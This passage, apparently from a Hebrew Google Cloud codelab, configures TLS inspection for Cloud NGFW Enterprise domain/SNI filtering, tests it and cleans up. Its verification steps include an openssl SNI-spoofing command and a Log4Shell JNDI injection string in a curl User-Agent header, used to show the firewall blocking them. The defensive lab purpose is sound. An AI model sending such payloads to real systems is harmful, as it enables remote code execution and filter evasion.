IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

כאן נכנסת לתמונה בדיקת TLS, שיכולה לעזור לסגור את הפער הזה.

סוגרים את החיבור ויוצאים מהמכונה הווירטואלית:

"ctrl" + c
exit

18. [אופציונלי] בדיקת TLS

הגדרת משאבי TLS

החלק הזה הוא אופציונלי כי סינון לפי דומיין או SNI פועל בלי צורך בבדיקת TLS. עם זאת, יכול להיות שתרצו לבצע בדיקת TLS אם אתם מתכננים להשתמש במניעת איומים, או בעתיד כשתהיה זמינה סינון מלא של כתובות URL, כדי שתוכלו ליצור כללים מבוססי נתיבים בפרופיל האבטחה.

בנוסף, בדיקת TLS מספקת שכבת בדיקות נוספת, כי יש אפשרות לזיוף SNI.

יוצרים מאגר של רשויות אישורים. המשאב הזה ישמש לאחסון אישור ה-CA הבסיסי שאנחנו יוצרים עבור NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

יוצרים את רשות האישורים (CA) העליונה. זהו אישור ה-CA שישמש לחתימה על אישורים נוספים לבקשות דרך NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

אם מוצגת ההודעה הבאה, משיבים y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

יוצרים חשבון שירות. חשבון השירות הזה ישמש לבקשת אישורים ל-NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

מגדירים הרשאות IAM לחשבון השירות:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

יוצרים את קובץ ה-YAML של מדיניות ה-TLS. הקובץ יכיל מידע על המשאבים הספציפיים:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

ייבוא המדיניות לבדיקת TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

מעדכנים את השיוך של נקודת הקצה כדי להפעיל TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

מקבלים את אישור ה-CA ומוסיפים אותו למאגר ה-CA של הלקוח. הדבר נדרש כדי ליצור אמון, כי NGFW Enterprise יקים TLS ויציג את האישור החתום ממאגר ה-CA:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

מעבירים את אישור ה-CA ללקוח:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

מתחברים ל-VM באמצעות SSH, מעבירים את אישור ה-CA אל ‎ /usr/local/share/ca-certificates ומעדכנים את מאגר ה-CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

יוצאים מהמכונה הווירטואלית וממשיכים ב-Cloud Shell.

עדכון כלל חומת האש לבדיקת TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

אימות כללים באמצעות בדיקת TLS

מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את בקשות הדגימה ליעדים המותרים:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

הן אמורות לעבור ללא בעיה. כדי לבדוק את האישור ולוודא אם הוא חתום על ידי NGFW, אפשר להריץ את הפקודה הבאה:

curl https://ifconfig.me --max-time 2 -vv

הפלט אמור להיראות כך:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

בפלט שלמעלה אפשר לראות שהבקשה נבדקת על ידי NGFW Enterprise באמצעות TLS, כי התעודה שהתקבלה חתומה על ידי רשות האישורים הבסיסית שיצרנו קודם. (שדה המוסד המנפיק)

אימות כללים שמנסים לזייף SNI באמצעות בדיקת TLS

עכשיו נבדוק את ההתנהגות אחרי הפעלת בדיקת TLS.

מריצים את פקודת openssl הבאה כדי לזייף את ה-SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

הפלט אמור להיראות כך:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

בפלט שלמעלה אפשר לראות שבקשת זיוף SNI שפעלה בעבר נכשלת עכשיו כשהבדיקה של TLS מופעלת. הסיבה לכך היא שכאשר בדיקת TLS מופעלת, NGFW בודק את ה-SNI מול שם חלופי של בעלים (subject) (SAN) באישור השרת. אם הוא לא תואם, לחיצת היד בפרוטוקול TLS תיכשל.

אימות של דומיין/SNI ומניעת איומים באמצעות בדיקת TLS

עכשיו נריץ מחדש את הבדיקה שבוצעה קודם לבקשה זדונית (log4j) לדומיין מותר.

שליחת דוגמה זדונית (log4j) ליעד מותר של דומיין או SNI:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

הפלט אמור להיראות כך:

000

קוד התגובה 000 נובע מכך שהחיבור הופסק על ידי NGFW כי זוהה איום. אנחנו יכולים לאסוף פלט מפורט יותר כדי לאשר את זה.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

הפלט אמור להיראות כך:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

מהנתונים שלמעלה אפשר לראות שה-NGFW ביצע בדיקת TLS וחסימה של הבקשה הזדונית.

יוצאים מה-VM:

exit

בקטע הבא מפורטים השלבים לניקוי.

19. שלבי הניקוי

ניקוי של הגדרות בסיסיות

מסירים את המכונות:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

מסירים את מדיניות הרשת של חומת האש ב-Cloud ואת השיוך:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מוחקים את Cloud Router ואת Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מוחקים את כתובות ה-IP השמורות:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ניקוי של SPG ושיוך ב-Cloud Firewall

מוחקים את קבוצת פרופילי האבטחה ואת פרופיל הסינון של האיומים וכתובות ה-URL בסדר הזה:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

מוחקים את השיוך של נקודת הקצה של Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

מוחקים את נקודת הקצה של Cloud Firewall. התהליך הזה יכול להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

אפשר גם להריץ את הפקודה הבאה כדי לוודא שנקודת הקצה של Cloud NGFW נמחקה:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הסטטוס של נקודת הקצה צריך להיות:

STATE: DELETING

כשהפעולה תסתיים, נקודת הקצה לא תופיע יותר ברשימה.

[אופציונלי] ניקוי TLS

אם המשכתם בהגדרות האופציונליות של בדיקת TLS, מריצים את הפקודות הבאות כדי לנקות את משאבי ה-TLS.

מחיקת מדיניות TLS:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

משביתים ומוחקים את רשות האישורים הבסיסית ואת מאגר רשויות האישורים:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

ניקוי של רשת משנה ו-VPC

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. מסקנות ושיקולים

המעבדה הזו פשוטה מאוד, והיא בודקת רק מכונה וירטואלית אחת שמתחברת לאינטרנט. בתרחישים בעולם האמיתי, רשת ה-VPC יכולה להכיל כמה משאבים, ותעבורת הנתונים יכולה לנוע לכל הכיוונים (צפון/דרום ומזרח/מערב). מכיוון שכלל חומת האש לסינון לפי דומיין או SNI הוא EGRESS 0.0.0.0/0, הוא כלל כללי וחובה להגדיר אותו ככלל בעדיפות הכי נמוכה במדיניות הרשת. אחרת, תעבורת נתונים תותאם באופן לא צפוי ותאושר או תידחה על סמך כלל ברירת המחדל של סינון כתובות URL.

בנוסף, כדאי להשתמש בסוגי רשתות כדי להגביל את ההיקף. הסיבה לכך היא למנוע מתנועה מזרחית/מערבית להתאים לכלל. אפשרות אחרת היא ליצור כלל הרשאה עם עדיפות גבוהה יותר לתנועה מזרח-מערב.

מומלץ לעיין במסמך השיטות המומלצות שבו מוסבר בפירוט על סינון לפי דומיין או SNI.

21. מעולה!

הצלחתם להשלים את Cloud NGFW Enterprise לסינון דומיין ו-SNI עם בדיקת TLS אופציונלית.